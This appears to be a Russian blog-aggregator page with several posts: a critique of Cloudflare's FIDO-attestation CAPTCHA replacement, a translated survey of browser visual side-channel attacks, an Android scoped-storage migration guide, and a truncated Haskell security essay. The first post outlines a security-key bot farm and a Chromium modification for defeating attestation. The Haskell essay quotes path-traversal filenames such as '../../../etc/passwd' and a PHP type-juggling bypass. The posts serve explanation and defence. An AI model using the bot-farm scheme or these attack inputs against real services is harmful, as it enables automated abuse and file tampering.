Пользователь должен дать согласие на предоставление аттестации вебсайтуПользователь должен дать согласие на предоставление аттестации вебсайту

Как мы знаем исходный код у Chromium полностью открытый и вы можете или полностью убрать плашку разрешения, или же модифицировать функцию EraseAttestationStatement и добавить JS инжектор который заменит "direct" на "none" но из-за модифицированного исходного кода полная аттестация все равно вернется, и таким образом Cloudflare ничего не поймет.

Так же у Google Enterprise есть возможность настройки политик чтобы аттестация всегда возвращалась для определенных доменов https://chromeenterprise.google/policies/#SecurityKeyPermitAttestation

Третье: FIDO ключи безопасности достаточно быстры

По моему личному опыту, на низком уровне, для генерацию аттестации ключи расходуют от 700мс до 1700мс. Это достаточно грубая оценка ибо я не пишу супер быстрый код, но с более тонкой оптимизацией HID запросов можно запросто это все держать в пределах 500-1000мс. То есть мы смотрим в самом худшем случае, когда HID код пишет аспирант с зарплатой в 25к рублей, мы может собирать порядка 30 аттестаций в минуту, что дает нам возможность собрать крутую HID клик ферму!

Вот пример дизайна как это все можно сделатьВот пример дизайна как это все можно сделать

Рецепт таков: берем пару машин с двенадцатью ядрами, как например Ryzen 3900, пару очень хороших PCI-USB плат, пару очень больших USB хабов, и собираем кластер USB ключей безопасности . Покупаем 1000 Feitian U2F, или Yubico Security Key по 15-20$ за единицу. Дальше пишем виртуальный HID адаптер который будет прикидываться USB устройством но на самом деле он будет перехватывать запросы и отправлять их на кластер, а ответ будет приходить от любого свободного ключа. Виртуальный HID адаптер ставится на виртуальные машины на которых открыты браузеры и скрипты автоматизации. Пара 5$ ардуинок чтобы имитировать нажатие и мы таким методом можем генерировать 30,000 - 40,000 аттестаций в минуту, что соразмерно с большой бот конторой в Индии, при несчастных 25,000$ затрат.

И чтобы вы не думали что я тут просто чешу языком:

В конце концов если вам лень то можно всегда купить кучку ACS122U NFC считывателей и кучку NFC ключей и тогда даже без ардуинки можно с помощью волшебными командами: SCARD_UNPOWER_CARD/SCARD_POWER_CARD перезагрузить NFC устройство для получения аттестации. Быстро и надежно в малом масштабе.

Четвертое и самое важное: Аттестация плохая замена CAPTCHA

Аттестация это очень специфичный механизм который который имеет слишком много проблем в большинстве случаев. Причины почему Cloudflare не стоит использовать аттестацию вместо капчи таковы:

  • 1. Аттестация ничего не предоставляет кроме информации о модели устройства - Аттестация это не серебряная пуля, кровь единорога или философский камень. Аттестация не предоставляет доказательство присутствия пользователя, потому что Cloudflare просто проверяет есть ли у вас FIDO сертифицированное устройство. FIDO протоколы отличные стандарты, которые решают проблемы фишинга. Это возможно потому что вы сами добавляете свой ключ в свой аккаунт, и за счет этого, любая атака становится направленной, личной, что напрочь убивает ботов. Cloudflare же просто проверяет или у вас есть сертифицированное устройство. И все.

  • 2. У аттестации есть проблемы с приватность - У каждого ключа безопасности есть партийный билет сертификат и партийный приватный ключ. Эта пара генерируется каждые сто-тысяч устройств. Это дает возможность раскрывать модель устройства и одновременно не создавая уникальный идентификатор с помощью которого за вами можно следить. Пример: вы регистрируетесь на сайте под другим именем, и сайт запрашивает аттестацию вашего устройство. Для сайта вероятность того что вы Вася Пупкин также являетесь Никитой Петровым является 1/100,000. Это дает некую надежду на приватность, но когда мы обсуждаем сценарий Cloudflare, который на данный момент покрывает более трети интернета, 1/100,000 это еще один ваш уникальный признак который очень полезен для слежки за вами. Cloudflare говорит что они не будут использовать аттестацию для слежки, но мы все знаем что большие компании думают о вашей приватности когда на них начинают давить инвесторы.

  • 3. Пользовательский опыт у аттестации хромает - Я думаю мы все устали от постоянных всплывающих окон, и тот факт что вам каждый раз подтверждать то что вы хотите дать свое согласие на предоставление информации о своем устройстве не сильно улучшает пользовательский опыт по отношению к капче.

  • 4. Аттестацией в целом тяжело управлять - Вопрос на засыпку: как достать все корневые сертификаты сертифицированных устройств? Можно воспользоваться БД FIDO, aka Metadata Service - MDS, но на данный момент она не достаточно активно используется компаниями, хотя FIDO начинает это активно решать. Соответственно Cloudflare нужно писать всем и всям компаниям чтобы получить от них корневые сертификаты, долго ждать ответов, иногда еще и общаться с юр-отделом. Либо же забить, и разрешить только пару тройку популярных компаний. Так как мы все знаем что Cloudflare не будет делать все правильно, мы будем дальше наблюдать монополизацию решений FIDO в руках одной двух компаний.

В заключении

Я лично думаю что в очень короткой перспективе идея Cloudflare остановит ботов, ровно до того момента как кто-то купит пару ключей и ардуинку. В реальности же я считаю что решение Cloudflare сделает веб менее приватным и и более опасным, по причине того что ключи безопасности не покупают обычные пользователи а как правило компании для ентперпрайз решений. Таким образом это будет очень выгодно киберпреступникам собирать такие фермы и продавать их как часть своих фишинг и вирусных платформ по гораздо более низким ценам чем теперешние огромные офисы дешевой рабочей силы.

Я не пишу эту статью чтобы просто облить грязью Cloudflare. Cloudflare в целом крутые ребята и я сам читаю их блоги, и использую их решения для себя и для своих клиентов. Я действительно думаю что они пытались сделать что-то хорошее, но как бывает у многих компаний, они не достаточно задумались о том действительно ли оно решает их проблему, и были слишком "застенчивы" чтобы спросить кого-то из экспертов FIDO о последствиях такого решения. Давайте не будет использовать микроскопы для забивания гвоздей, и оставим Капчу делать то для чего она была создана: делать тупые нейросети умнее, пока Скайнет нас всех не уничтожит.

И не забываем самое важное: FIDO это аутентификационые протоколы. Давай помнить об этом прежде чем их куда-то зачем-то пихать.

Q&A

- Почему нельзя просто использовать виртуальные/программные/самодельные аутентификаторы?

Потому что Cloudflare только поддерживает сертифицированные устройства, чья аттестация строго контролируется производителем. Самопал и программные аутентификаторы просто не пройдут.

Подробнее..

Перевод 3 способа визуального извлечения данных с помощью JavaScript

25.05.2021 18:15:50 | Автор: admin

К старту курса о Frontend-разработке мы решили поделиться переводом небольшого обзора визуальных атак, позволяющих получать закрытую информацию о пользователе вне зависимости от того, применяется ли правило ограничения домена. Некоторые из обсуждаемых уязвимостей закрыты, но развитие технологий веба порождает новые вариации старых атак.


Что страница может показывать, но не видит

Вы заметили, что вы не можете установить высоту для посещённых ссылок? Нацеленное на эти ссылки правило CSS может устанавливать несколько атрибутов, но не все. Обратите внимание, что обе ссылки имеют одинаковую высоту, хотя нижняя должна быть выше:

Посмотрев окончательный стиль мы также увидим высоту, как у непосещённой ссылки:

getComputedStyle(visitedLink).height; // 30px

Для посещённых ссылок возможно установить несколько свойств, например цвет текста:

a:visited {  color: red;}

Но, даже если он выглядит иначе, JavaScript может видеть только стили обычной ссылки:

getComputedStyle(visitedLink).color; // rgb(0, 0, 238) (blue)

Это один из примеров, когда страница может что-то показывать, но не видит. Ссылка может быть оформлена по-разному в зависимости от её атрибута, но браузер защищает эту информацию от страницы.

Защищённая визуальная информация

Более привычный пример изображения из разных источников. Их можно отображать на странице, но браузер накладывает на них всевозможные ограничения.

Я видел, как люди недоумевали, почему веб работает именно так, особенно если эти люди с других языков переходили в сферу веб-разрабтоки. Если вы хотите показать изображение на Java или C++, чтобы сделать это, программе необходимо получить доступ к байтам изображения. Без полного доступа они не смогут его отобразить.

Но JavaScript и веб работают по-другому. В HTML простой <img src = "..."> показывает изображение без предварительного доступа к байтам. И это открывает окно к тому, чтобы иметь отдельные разрешения на показ чего-либо и доступ к чему-либо.

Посещённая и непосещённая ссылка отличный пример. Функция восходит к самым ранним браузерам, и всё ещё хорошо поддерживается. Пользователь может увидеть, какие ссылки указывают на ранее открытые страницы. Это отлично подходит для просмотра Википедии, например, так как вы можете сразу отличить ссылки, потенциально содержащие новую информацию.

Но, великолепная для UX, она открывает зияющую дыру в безопасности, которую трудно закрыть. Если веб-страница может определить, посещена ссылка или нет, она может получить доступ к информации, которая не должна быть доступна. Например, она может проверять URL-адреса поиска в Google и выявлять, искал ли пользователь определённые термины. Термины могут содержать конфиденциальную информацию, и, сопоставив большое количество таких поисковых запросов, веб-страница может деанонимизировать пользователя.

Проблемы безопасности могут возникать из-за других элементов, а не только из-за ссылок, если эти элементы пропускают информацию на сайт; загрузка изображения с другого домена может содержать конфиденциальную информацию. Например, динамическое изображение может меняться в зависимости от того, сколько у вас непрочитанных уведомлений:

Это работает, поскольку браузер отправляет файлы cookie вместе с запросом изображения, содержащим информацию о сеансе, которая идентифицирует пользователя в Facebook. Если бы сайт мог прочитать изображение ответа, он мог бы извлечь информацию об активности пользователя в Facebook. По этой причине вы не можете экспортировать содержимое canvas после отрисовки на нём изображения с cross-origin это явление называется tainted canvas (испорченный холст).

И слон в посудной лавке, конечно же, IFrames. Страница может быть включена в другую страницу со всей информацией для входа в систему и так далее, если это не запрещено явно при помощи X-Frame-Options или Content Security Policy.Если бы веб-страница могла получить доступ к любой странице, которую она содержит, это дало бы ей полную свободу действий с отображаемыми данными.

Визуальные атаки

Браузеры делают всё возможное, чтобы защитить информацию, предназначенную для просмотра пользователем, но не для веб-страницы. Однако иногда они терпят неудачу по разным причинам, и из-за некоторых ошибок уязвимости случаются. Посмотрим самые интересные!

1. Посещённые ссылки

Первая уязвимость связана с посещёнными ссылками, речь о которых идёт выше. Неудивительно, что в браузерах реализованы методы блокировки извлечения информации. Эта уязвимость даже описывается в спецификации CSS 2.1:

Поэтому пользовтаельские агенты могут обрабатывать все ссылки как непосещённые или применять другие меры для сохранения конфиденциальности пользователя, при этом по-разному отображая посещённые и непосещённые ссылки.

Это означает, что браузеры ограничивают тип стиля, который может иметь посещённая ссылка поверх непосещённых ссылок. Например, не позволяя устанавливать высоту элемента, веб-страница не может проверять положение элемента под ссылкой, чтобы узнать, указывает ли он на посещённый URL-адрес.

Но с новыми возможностями уязвимости появляются снова и снова. С помощью вызова getComputedStyle JavaScript может прочитать текущий стиль элемента. И до того как это исправили, сайт мог прочитать цвет ссылки, чтобы узнать, была ли она посещена или нет. Уязвимость была обнаружена в 2006 году и всплыла на поверхность десятью годами позже.

2. Режимы наложения CSS

Это отличная уязвимость для попиксельного извлечения визуальной информации из IFrame или другого защищённого ресурса. Пост в блоге Руслана Хабалова отлично объясняет подробности уязвимости. Её суть в том, какрежимы наложения были реализованы.

Режимы наложения позволяют странице определять, как элементы взаимодействуют друг с другом. На этом изображении показано несколько примеров:

Обратите внимание, как изменяется центральная область в зависимости от режима наложения и цветов пикселей двух слоёв.

Хотя страница не может получить доступ к тому, как выглядит IFrame (или изображение с другого сайта, или посещённая ссылка), она может свободно размещать его на странице, даже под другими элементами. Это позволяет режимам наложения отображать пиксели разного цвета в зависимости от того, как выглядят элементы.

Но это не должно приводить к какой-либо уязвимости, поскольку страница не может получить доступ к результирующим цветам пикселей, она может только определять, как браузер отображает их. Во всяком случае не напрямую.

Код для расчёта режима наложения в браузере был реализован так, чтобы для разных входных цветов использовать разные ветви.

// example pseudocode from https://www.evonide.com/side-channel-attacking-browsers-through-css3-features/[...]SetSat(C, s)    if(Cmax > Cmin)        Cmid = (((Cmid - Cmin) x s) / (Cmax - Cmin))        Cmax = s    else        Cmid = Cmax = 0    Cmin = 0    return C;// Compute the saturation blend mode.Saturation(Cb, Cs) = SetLum(SetSat(Cs, Sat(Cb)), Lum(Cb))

А поскольку страница может управлять одной частью входных пикселей, она может попробовать множество вариантов и увидеть разницу. И это приводит к утечке информации о другой части входных пикселей, а именно о защищённом содержимом.

Уязвимость позволяет извлекать данные по одному пикселю за раз и обходит все средства защиты браузера от доступа из разных источников. Исправлена она была путём исключения ветвей из реализации режима наложения, что позволило алгоритму работать с константным временем выполнения независимо от входных цветов.

3. Злая CAPTCHA

Эта атака эксплуатирует самое слабое место в каждой системе ИТ-безопасности: пользователя. Она гениальный способ извлечь информацию с другого веб-сайта, поскольку пользователь активно участвует в атаке, от неё не защищает никакой стандарт.

CAPTCHA это способ защитить сайт (или его часть) от ботов. Задача в CAPTCHA должна быть лёгкой для людей, но трудной для машин, например, это может быть чтение символов с изображения. Капча применяется, чтбы предотвратить автоматическую рассылку спама в разделе комментариев или в контактной форме. Выглядит она так:

Нетанель Гелернтер и Амир Херцберг показывают в своей статье способ использовать знания пользователя о решении CAPTCHA, чтобы извлечь инфорацию. В своей реализации метода они загрузили данные в немного непонятном виде и попросили пользователя ввести их в текстовое поле. Например, манифест кеша для Gmail содержал адрес электронной почты пользователя:

Обратите внимание, что CAPTCHA это просто изменённая версия первых 15 символов адреса электронной почты (victim1813@gmai). Похоже на невинную обычную капчу, но она передаёт эту информацию на сайт.

Извлечь адрес почты пользователя на Gmail из файла манифеста кеша больше нельзя; но в любой сайт возможно встроить поле для комментариев на Facebook, которое по-прежнему будет содержать настоящее имя пользователя:

Обратите внимание, что текст содержит имя Inno Cent. Набирая его, пользователь непреднамеренно показывает свое настоящее имя, если он вошёл в систему на Facebook.

Эта атака также открывает двери для всякого другого извлечения информации. Авторы статьи использовали персонализированную функцию автозаполнения Bing, которая раскрывала информацию об истории поиска. На изображении слева показан шаблон с 4 областями для извлечения информации. На изображении справа показано, как выглядит последняя CAPTCHA, в данном случае это означает, что пользователь искал 4 слова:

В этом примере использовалась ошибка конфиденциальности в Bing, но нетрудно представить, как она может также включать проверку того, была ли ссылка посещена или нет: просто задайте стиль непосещённой ссылки в соответствии с фоном. Если пользователь её видит (и вводит в текстовое поле), значит, ссылка была посещена.

Прелесть этой атаки в том, что практически невозможно реализовать техническое решение для её предотвращения. К счастью, применимость этой уязвимости ограничена, так как с её помощью возможно извлекать только текстовую информацию и только несколько раз, прежде чем пользователю станет скучно и он покинет сайт.

Веб развивается в стремительном темпе, он очень востребован, а сложность браузеров сегодня сопоставима со сложностью операционных систем. Написать современный браузер полностью с нуля огомная проблема.

Со временем количество разнообразных уязвимостей будет только расти, а это значит, что нужны люди, способные работать с вебом профессионально, аккуратно. Если вы хотите начать карьеру в области веба, то можете обратить внимание на наш курс о Frontend-разработке, где с нуля получите крепкую базу, чтобы уверенно работать над фронтендом.

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

Другие профессии и курсы
Подробнее..

Обновляемся на новую версию API Android по наставлению Google

27.05.2021 20:23:24 | Автор: admin

Скоро выходит Android 12, но в этом августе уже с 11-й версии разработчикам придётся использовать новые стандарты доступа приложений к внешним файлам. Если раньше можно было просто поставить флаг, что ваше приложение не поддерживает нововведения, то скоро они станут обязательными для всех. Главный фокус повышение безопасности.

Переход на новую версию API довольно трудоёмкая операция, требующая больших затрат на её поддержку при введении крупных апдейтов. Далее расскажу немного про наш переход и возникшие при этом трудности.

Что происходит

Если вы уже знакомы с теорией, то этот раздел можно пропустить тут я хочу поверхностно сравнить подходы к предмету в разных версиях операционной системы.

В Android есть внутреннее Internal Storage (IS) и внешнее хранилище External Storage (ES). Исторически это были встроенная память в телефоне и внешняя SD-карта, поэтому ES был больше, но медленнее и дешевле. Отсюда и разделение настройки и критически важное записывали в IS, а в ES хранили данные и большие файлы, например, медиа. Потом ES тоже стал встраиваться в телефон, но разделение, по крайней мере логическое, осталось.

У приложения всегда есть доступ к IS, и там оно может делать что угодно. Но эта папка только для конкретного приложения и она ограничена в памяти. К ES нужно было получать доступ и, кроме манипуляции со своими данными, можно было получить доступ к данным других приложений и производить с ними любые действия (редактировать, удалять или украсть).

Но после разделения на внутреннее и внешнее хранилища все равно оставались проблемы. Многие приложения могли хранить чувствительную информацию не только в IS, но и в ES то есть ответственность лежала целиком на разработчиках и на том, кто хочет завладеть файлами.

В Android решили всё это переделать ещё в 10-й версии, а в 11-й это стало обязательным.

Чтобы минимизировать риски для пользователя в Google решили внедрить Scoped Storage (SS) в ES. Возможность проникнуть в папки других приложений убрали, а доступ есть только к своим данным теперь это сугубо личная папка. А IS с 10-й версии ещё и зашифрована по умолчанию.

В Android 11 Google зафорсировала использование SS когда таргет-версия SDK повышается до 30-й версии API, то нужно использовать SS, иначе будут ошибки, связанные с доступом к файлам. Фишка Android в том, что можно заявить совместимость с определённой версией ОС. Те, кто не переходили на 11, просто говорили, что пока не совместимы с этой версий, но теперь нужно начать поддерживать нововведения всем. С осени не получится заливать апдейты, если не поддерживаешь Android 11, а с августа нельзя будет заливать новые приложения.

Если SS не поддерживается (обычно это для девайсов ниже 10-й версии), то для доступа к данным других приложений требуется получить доступ к чтению и записи в память. Иначе придётся получать доступ к файлам через Media Content, Storage Access Framework или новый, появившийся в 11-м Android, фреймворк Datasets в зависимости от типа данных. Здесь тоже придётся получать разрешение доступа к файлу, но по более интересной схеме. Когда расшариваемый файл создаёшь сам, то доступ к нему не нужен. Но если переустановить приложение доступ к нему опять потребуется. К каждому файлу система привязывает приложение, поэтому когда запрашиваешь доступ, его может не оказаться. Особо беспокоиться не нужно, это сложно отследить, поэтому лучше просто сразу запрашивать пермишен.

Media Content, SAF и Datasets относятся к Shared Storage (ShS). При удалении приложения расшаренные данные не удаляются. Это полезно, если не хочется потерять нужный контент.

Хотя даже при наличии SS можно дать доступ к своим файлам по определённой технологии через FileProvider можно указать возможность получения доступа к своим файлам из другого приложения. Это нормально, потому что файлы расшаривает сам разработчик.

Также добавилась фича если приложение не использовалось несколько месяцев, то снимаются все пермишены и доступы к системным элементам. По best practice разрешение запрашивается по требованию, поэтому мы просто перед выполнением какого-либо действия проверяем, есть ли у нас пермишены. Если нет, то запрашиваем.

В то же время перекрыли доступы к приложениям внутри девайса. Если раньше можно было отследить, что установлены определённые приложения и отправлять к ним соответствующие интенты, то сейчас мы должны прямо в манифесте прописать, что работаем именно с этими приложениями, и только после этого получить доступ.

В качестве примера можем взять шаринг мы шарим множество приложений, и их всех нужно указывать в манифесте, иначе они не обнаружатся. Начнём перебирать пакет установленных приложений будет информация, что не указанного в манифесте приложения нет и при шаринге всё отвалится.

Перейдём к практике.

Переход на новую версию

Основная функциональность по работе с файлами в приложении iFunny представлена в виде сохранения мемов в память и расшаривания их между приложениями. Это было первое, что требовалось починить.

Для этого выделили в общий интерфейс работу с файлами, реализация которого зависела от версии API.

interface FilesManipulator {    fun createVideoFile(fileName: String, copy: Copier): Uri    fun createImageFile(fileName: String, copy: Copier): Uri    fun createFile(fileName: String, copy: Copier): Uri    fun getPath(uri: Uri): String    fun deleteFile(uri: Uri)}

FilesManipulator представляет собой интерфейс, который знает, как работать с файлами и предоставляет разработчику API для записи информации в файл. Copier это интерфейс, который разработчик должен реализовать, и в который передаётся поток вывода. Грубо говоря, мы не заботимся о том, как создаются файлы, мы работаем только с потоком вывода. Под капотом до 10-й версии Android в FilesManipulator происходит работа с File API, после 10-й (и включая её) MediaStore API.

Рассмотрим на примере сохранения картинки.

fun getContentValuesForImageCreating(fileName: String): ContentValues {    return ContentValues().apply {        put(MediaStore.Images.Media.DISPLAY_NAME, fileName)        put(MediaStore.Images.Media.IS_PENDING, FILE_WRITING_IN_PENDING)        put(MediaStore.Images.Media.RELATIVE_PATH, Environment.DIRECTORY_PICTURES + File.separator + appFolderName)    }}fun createImageFile(fileName: String, copy: Copier): Uri {    val contentUri = MediaStore.Images.Media.getContentUri(MediaStore.VOLUME_EXTERNAL_PRIMARY)    val contentValues = getContentValuesForImageCreating(fileName)    val uri = contentResolver.insert(contentUri, contentValues)         ?: throw IllegalStateException("New image file insert error")    downloadContent(uri, copy)    return uri}fun downloadContent(uri: Uri, copy: Copier) {    try {        contentResolver.openFileDescriptor(uri, FILE_WRITE_MODE)                .use { pfd ->                    if (pfd == null) {                        throw IllegalStateException("Got nullable file descriptor")                    }                    copy.copyTo(FileOutputStream(pfd.fileDescriptor))                }        contentResolver.update(uri, getWriteDoneContentValues(), null, null)    } catch (e: Throwable) {        deleteFile(uri)        throw e    }}fun getWriteDoneContentValues(): ContentValues {    return ContentValues().apply {        put(MediaStore.Images.Media.IS_PENDING, FILE_WRITING_DONE)    }}

Так как операция сохранения медиафайлов достаточно длительная, то целесообразно использовать MediaStore.Images.Media.IS_PENDING, которая при установлении значения 0 не дает видеть файл приложениям, отличного от текущего.

По сути, вся работа с файлами реализована через эти классы. Шаринг в другие приложения автоматически сохраняют медиа в память устройства и последующая работа с URI уже происходит по новому пути. Но есть такие SDK, которые ещё не успели перестроиться под новые реалии и до сих пор используют File API для проверки медиа. В этом случае используем кеш из External Storage и при необходимости провайдим доступ к файлу через FileProvider API.

Помимо ограничений с памятью в приложениях, таргетированных на 30-ю версию API, появилось ограничение на видимость приложения. Так как iFunny использует шаринг во множество приложений, то данная функциональность была сломана полностью. К счастью, достаточно добавить в манифест query, открывающую область видимости к приложению, и можно будет также полноценно использовать SDK.

Для неявных интентов тоже приходится добавлять код в манифест, чтобы задекларировать то, с чем будет работать приложение. В качестве примера выложу часть кода, добавленного в манифест.

<manifest  ><queries><intent>    <action android:name="android.intent.action.SENDTO" />    <data android:scheme="smsto, mailto" /></intent>    <package android:name="com.twitter.android" />    <package android:name="com.snapchat.android" />    <package android:name="com.whatsapp" />    <package android:name="com.facebook.katana" />    <package android:name="com.instagram.android" />    <package android:name="com.facebook.orca" />    <package android:name="com.discord" />    <package android:name="com.linkedin.android" /></queries></manifest>

После проверок запуска UI-тестов на девайсах с версиями API 29-30 было выявлено, что они также перестали корректно отрабатываться.

Первоначально в LogCat обнаружил, что приложение не может приконнектиться к процессу Orchestrator и выдает ошибку java.lang.RuntimeException: Cannot connect to androidx.test.orchestrator.OrchestratorService.

Эта проблема из разряда видимости других приложений, поэтому достаточно было добавить строку <package android:name="androidx.test.orchestrator" /> .

Тест удачно запустился, но возникла другая ошибка Allure не может сохранить отчёт в память устройства, падает с ошибкой.

Очевидно из-за Scoped Storage стало невозможно сохранять файлы в другие папки, поэтому снова почитав документацию по управлению файлами в памяти на девайсе, обнаружил интересный раздел. Там рассказано, как для нужд тестов открыть доступ к папкам девайса, но с существенными ограничениями, которые можно почитать тут.

Так как нам нужно использовать этот пермишен только для тестов, то нам условия подходят. Поэтому я быстренько написал свой ShellCommandExecutor, который выполняет команду adb shell appops set --uid PACKAGE_NAME MANAGE_EXTERNAL_STORAGE allow на создании раннера тестов.

На Android 11 тесты удачно запустились и стали проходить без ошибок.

После попытки запуска на 10-й версии Android обнаружил, что отчет Allure также перестал сохраняться в память девайса. Посмотрев issue Allure, обнаружил, что проблема известная, как и с 11-й версией. Достаточно выполнить команду adb shell appops set --uid PACKAGE_NAME LEGACY_STORAGE allow. Сказано, сделано.

Запустил тесты всё еще не происходит сохранения в память отчёта. Тогда я обнаружил, что в манифесте WRITE_EXTERNAL_STORAGE ограничен верхней планкой до 28 версии API, то есть запрашивая работу памятью мы не предоставили все разрешения. После изменения верхней планки (конечно, для варианта debug) и запроса пермишена на запись тесты удачно запустились и отчёт Allure сохранился в память устройства.

Добавлены следующие определения пермишенов для debug-сборки.

<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" /><uses-permission    android:name="android.permission.WRITE_EXTERNAL_STORAGE"    android:maxSdkVersion="29"    tools:node="replace" />

После всех вышеописанных манипуляций с приложением, можно спокойно устанавливать targetSdkVersion 30, загружать в Google Play и не беспокоиться про дедлайн, после которого загружать приложения версией ниже станет невозможно.

Подробнее..

Перевод Почему я считаю Haskell хорошим выбором с точки зрения безопасности ПО?

31.05.2021 18:12:13 | Автор: admin


Команда Typeable понимает ценность безопасности. Мы любим Haskell, но стоит ли его выбирать, если ваша цель создание защищенного программного обеспечения? Хотелось бы сказать да, но как и для большинства эмпирических вопросов о разработке ПО, здесь просто нет объективного доказательства, подтверждающего, что Haskell или ещё какой-нибудьй язык программирования обеспечивает большую безопасность, чем любой другой. Нельзя сказать, что выбор языка в Typeable не имеет значения для безопасности, но какое именно значение он имеет, еще нужно подумать.


Опираясь на пятилетний опыт преподавания вводного курса по защите ПО, я могу подтвердить, что универсальной теории, на которой может строиться защита ПО, не существует. Вопросы безопасности чаще всего преподаются путем перечисления различных уязвимостей, способов их минимизации и моделей безопасности в надежде на то, что на этой основе студенты смогут получить общее понимание вопроса. Из немногих существующих теоретических работ только некоторые содержат попытки провести связь между языком программирования и аспектами безопасности.


В этой статье я собираюсь коротко описать свою любимую точку зрения на то, как выбор языка программирования можно привязать к безопасности. Этот подход подразумевает распределение различных уязвимостей по шкале от уязвимостей предметной области до побочных уязвимостей.


   Чисто техническая            Уязвимость, относящаяся        уязвимость                исключительно к предметной области                                                                                           Инструментарий Инструментарий  Нужно     должен исправить может помочь  подумать

На оси выше показан источник различных уязвимостей программного обеспечения. На крайнем правом конце мы видим ошибки, связанные исключительно с доменной областью, то есть ошибки, совершенно не зависящие от используемого инструментария. Примером такой ошибки являются контрольные вопросы, которые в начале 2000-х использовались многими веб-сервисами для восстановления паролей. Зачастую это были вопросы типа Девичья фамилия вашей матери?. Позднее, примерно в 2009-2010 годах, возникло такое явление, как социальные сети, и неожиданно девичья фамилия матери перешла в категорию общедоступной информации. Неважно, какую технологию вы используете для реализации такой схемы с контрольными вопросами. Эта схема все равно не работает.


На крайнем левом конце шкалы у нас представлены ошибки, имеющие чисто техническую причину. Они абсолютно не зависят от области задачи. Хорошим примером такой проблемы является печально известное переполнение буфера. Совершенно неважно, что хранится в буфере если буфер переполнился, злоумышленник получает возможность беспрепятственно вмешаться в работу поддерживающих структур вашей программы. В данной ситуации переполнения буфера можно избежать, по крайней мере, теоретически, используя набор инструментальных средств, в котором отсутствует неконтролируемая запись в буфер.


Между этими крайними точками шкалы находится уязвимость, не вызванная ни чисто технической причиной, ни проблемами домена. Стандартный пример такой уязвимости обычно можно найти в сервисах, обеспечивающих выгрузку файлов.


В таких сервисах обычно есть соблазн записать файл пользователя непосредственно в файловую систему сервера. Однако под каким именем файла? Использовать непосредственно имя файла пользователя верный путь к катастрофе, так как оно может выглядеть как ../../../etc/nginx/nginx.conf, ../../../etc/passwd/ или любые другие файлы, к которым сервер имеет доступ, но не должен их изменять.


Эта опасность сочетает в себе технический и доменный аспекты уязвимости. Маловероятно, что какой-нибудь набор инструментальных средств сможет предложить готовое решение для этой проблемы, однако легко увидеть, что одни инструменты могли бы обеспечить лучший контроль такого проблемного поведения, чем другие.


Использование шкалы


Польза этой шкалы заключается в оценке вашего инструментария, в том числе языка программирования и платформ. Сколько чисто технических проблем ваш инструментарий решает самостоятельно? Какую часть шкалы он закрывает, предлагая дополнительные возможности для устранения ошибок, которые приводят к уязвимостям?


В идеале современный инструментарий должен практически полностью устранять чисто технические уязвимости. Например, большинство современных языков, таких как Haskell, C# и Java, по большей части обеспечивают защиту содержимого памяти и в целом предотвращают переполнение буфера, попытки дважды освободить одну и ту же ячейку, а также другие технические проблемы. Однако от правильного инструментария можно получить еще больше пользы. Например, легко представить себе систему, в которой имеется техническая возможность разделить абсолютный и относительный пути к файлу, что упрощает контроль атак с обходом каталога (path traversal), таких как загрузка пользователем файла поверх какого-нибудь важного конфигурационного файла системы.


Haskell нижняя часть шкалы


Как и большинство современных языков, Haskell хорошо работает с техническими уязвимостями низкого уровня. Во-первых, Haskell обеспечивает безопасный доступ к памяти, что делает огромный пласт возможных уязвимостей, особенно связанных с массивами данных и переполнением буфера, недосягаемым для потенциальных злоумышленников. Во-вторых, Haskell имеет статическую типизацию, что также защищает от целого семейства ошибок, например, от известных манипуляций с типами в PHP:


// From imaginary CSRF token protection:if ($tokenHash == $hashFromInternet->{'tokenHash'}) {  echo "200 OK - Request accepted", PHP_EOL;}else { echo "403 DENIED - Bad CSRF token", PHP_EOL;};

Видите, в чем здесь проблема? В большинстве динамических языков, таких как PHP, тип записи JSON определяется в процессе выполнения и зачастую основывается на структуре входных данных. Кроме того, в объектно-ориентированном программировании тип используется для выбора поведения с помощью динамической диспетчеризации, что фактически позволяет злоумышленнику выбирать, какой код будет исполнен. Наконец, в языке PHP равенство, выраженное через ==, зависит от типа вводимых данных, и в приведенном выше примере атакующий может полностью обойти защиту.


Аналогичная проблема возникла с Java (и другим языками, см. https://frohoff.github.io/appseccali-marshalling-pickles/). Java предложил исключительно удобный способ сериализации любого объекта на диск и восстановления этого объекта в исходной форме. Единственной досадной проблемой стало отсутствие способа сказать, какой объект вы ждете! Это позволяет злоумышленникам пересылать вам объекты, которые после десериализации в вашей программе превращаются во вредоносный код, сеющий разрушения и крадущий данные.


Это не значит, что вы не можете создать безопасный код на PHP или не можете получить такие же ошибки в Haskell, однако по своей природе Haskell не склонен к таким уязвимостям. Если переложить приведенный выше пример кода на Haskell, он будет выглядеть примерно так:


data Request = Request {csrfToken :: Token, ... other fields}doSomething :: Session -> Request -> Handler ()doSomething session request  | csrfToken session == csrfToken request = ... do something  | otherwise = throwM BadCsrfTokenError

В этом случае возможность манипуляций с типами устраняется с помощью стандартного приема путем присвоения интерфейсным типам конкретного, известного еще до исполнения программы типа.


Haskell середина шкалы


Если рассматривать среднюю часть шкалы между техническими и доменными уязвимостями, Haskell демонстрирует возможности, которые, на мой взгляд, определяют преимущества от его выбора.


Прежде всего, в Haskell имеется возможность моделировать данные более точно по сравнению с такими языками, как как C, Javascript или даже Java. В основном это обусловлено удобством его синтаксиса и наличием типов-сумм. Точное моделирование данных имеет значение для безопасности, поскольку код домена в основном представляет собой модель некоторого реального явления. Чем меньше ее точность, тем больше возможностей имеют злоумышленники.


Наличие инструментов точного моделирования дает программистам возможность обходить ловушки в домене. Например, рассмотрим простую возможность легко выразить одной строчкой идею о том, что, скажем, номер страхового свидетельства неизвестен, либо скрыт, либо содержит указанное пользователем значение:


data SSN = Unknown | Redacted | SSN Text

А теперь сравним моделирование той же идеи с использованием строковых величин "", "<REDACTED>" и "191091C211A". Что произойдет, если пользователь введет "<REDACTED>" в поле ввода SSN? Может ли это в дальнейшем привести к проблеме? В Haskell об этом можно не беспокоиться.


Аналогичные приемы могут помочь программистам повысить безопасность повсеместно. Продолжая предыдущий пример безопасного хранения пользовательских файлов на сервере если ваша функция сохранения пользовательских загрузок начинается с


storeFileUpload :: Path Abs File -> ByteString -> IO ()storeFileUpload path = ...

